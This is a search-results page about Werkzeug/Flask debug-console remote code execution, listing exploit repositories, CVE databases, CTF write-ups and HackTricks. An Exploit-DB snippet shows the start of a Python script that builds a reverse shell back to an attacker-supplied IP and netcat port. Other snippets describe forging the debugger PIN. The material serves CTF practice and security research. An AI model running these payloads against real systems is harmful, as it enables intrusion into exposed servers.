GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Author its-arun
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
4 days ago - This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
CVE Details
cvedetails.com › vulnerability-list › vendor_id-17201 › product_id-41301 › Palletsprojects-Werkzeug.html
Palletsprojects Werkzeug : Security vulnerabilities, CVEs
February 3, 2018 - Unlimited file parts can use up memory and file handles. If many concurrent requests are sent continuously, this can exhaust or kill all available workers. Version 2.2.3 contains a patch for this issue. Source: GitHub, Inc. ... Werkzeug is a comprehensive WSGI web application library.
GitHub
github.com › ctf-o-matic › capture-the-flag › tree › master › ctf1 › append › home › level02 › werkzeug
capture-the-flag/ctf1/append/home/level02/werkzeug at master · ctf-o-matic/capture-the-flag
Helper scripts to remaster Linux Live CD images for the purpose of creating ready to use security wargames with pre-installed vulnerabilities to exploit. - capture-the-flag/ctf1/append/home/level02/werkzeug at master · ctf-o-matic/capture-the-flag
Author ctf-o-matic
CTFtime.org
ctftime.org › writeup › 26943
CTFtime.org / b01lers CTF / lorem_ipsum / Writeup
1. Don’t use Werkzeug debugger lol 2. Give the `?animal=` GET parameter something unexpected (`?animal=blah`) and get yourself a traceback with a python console (Werkzeug lol) 3. Oh wait it’s PIN protected 4. Nevermind you can generate the pin yourself 5.
GitHub
github.com › grav3m1nd-byte › werkzeug-pin
GitHub - grav3m1nd-byte/werkzeug-pin: Yet another Werkzeug Console Pin Exploit Explanation · GitHub
Daehee Park' Werkzeug Console PIN Exploit · https://ctftime.org/writeup/17955 · These exploits were developed after reviewing Werkzeug source code repo to better understand how the code is generated to then reverse it. The following is the function that generates the pin in Werkzeug from __init__.py.
Author grav3m1nd-byte
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
werkzeug 2.2.2 | Snyk
Known vulnerabilities in the werkzeug package.
GitHub
github.com › ctf-o-matic › capture-the-flag › blob › master › ctf1 › append › home › level02 › werkzeug › exceptions.py
capture-the-flag/ctf1/append/home/level02/werkzeug/exceptions.py at master · ctf-o-matic/capture-the-flag
Helper scripts to remaster Linux Live CD images for the purpose of creating ready to use security wargames with pre-installed vulnerabilities to exploit. - capture-the-flag/ctf1/append/home/level02/werkzeug/exceptions.py at master · ctf-o-matic/capture-the-flag
Author ctf-o-matic
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › python › werkzeug-pentesting
Introduction - Exploit Notes
January 18, 2024 - Exploit Notes is a security research site. Search hacking techniques and tools for penetration testings, bug bounty, CTF.
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
CVE Details
cvedetails.com › version › 1322616 › Palletsprojects-Werkzeug-2.2.2.html
Palletsprojects Werkzeug 2.2.2 security vulnerabilities, CVEs
Palletsprojects Werkzeug version 2.2.2 security vulnerabilities, CVEs, exploits, vulnerability statistics, CVSS scores and references
Cisco Bug Search Tool
bst.cisco.com › quickview › bug › CSCwi63306
Vulnerabilities in werkzeug 2.2.2 (PreUpgradeValidator App)
June 3, 2025 - We cannot provide a description for this page right now
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
werkzeug 2.2.1 vulnerabilities | Snyk
Learn more about known werkzeug 2.2.1 vulnerabilities and licenses detected.
CTFtime.org
ctftime.org › writeup › 17955
CTFtime.org / TetCTF 2020 / The Prophet / Writeup
* Debugger PIN: 234-662-675 ``` I wanted to know how the pin was calculated so I looked in the python directory of werkzeug for a generate pin function and I found this file ```/usr/local/lib/python2.7/site-packages/werkzeug/debug/__init__.py``` and there was this function ```python def get_pin_and_cookie_name(app): """Given an application object this returns a semi-stable 9 digit pin code and a random key.
PyPI
pypi.org › project › Werkzeug
Werkzeug · PyPI
» pip install Werkzeug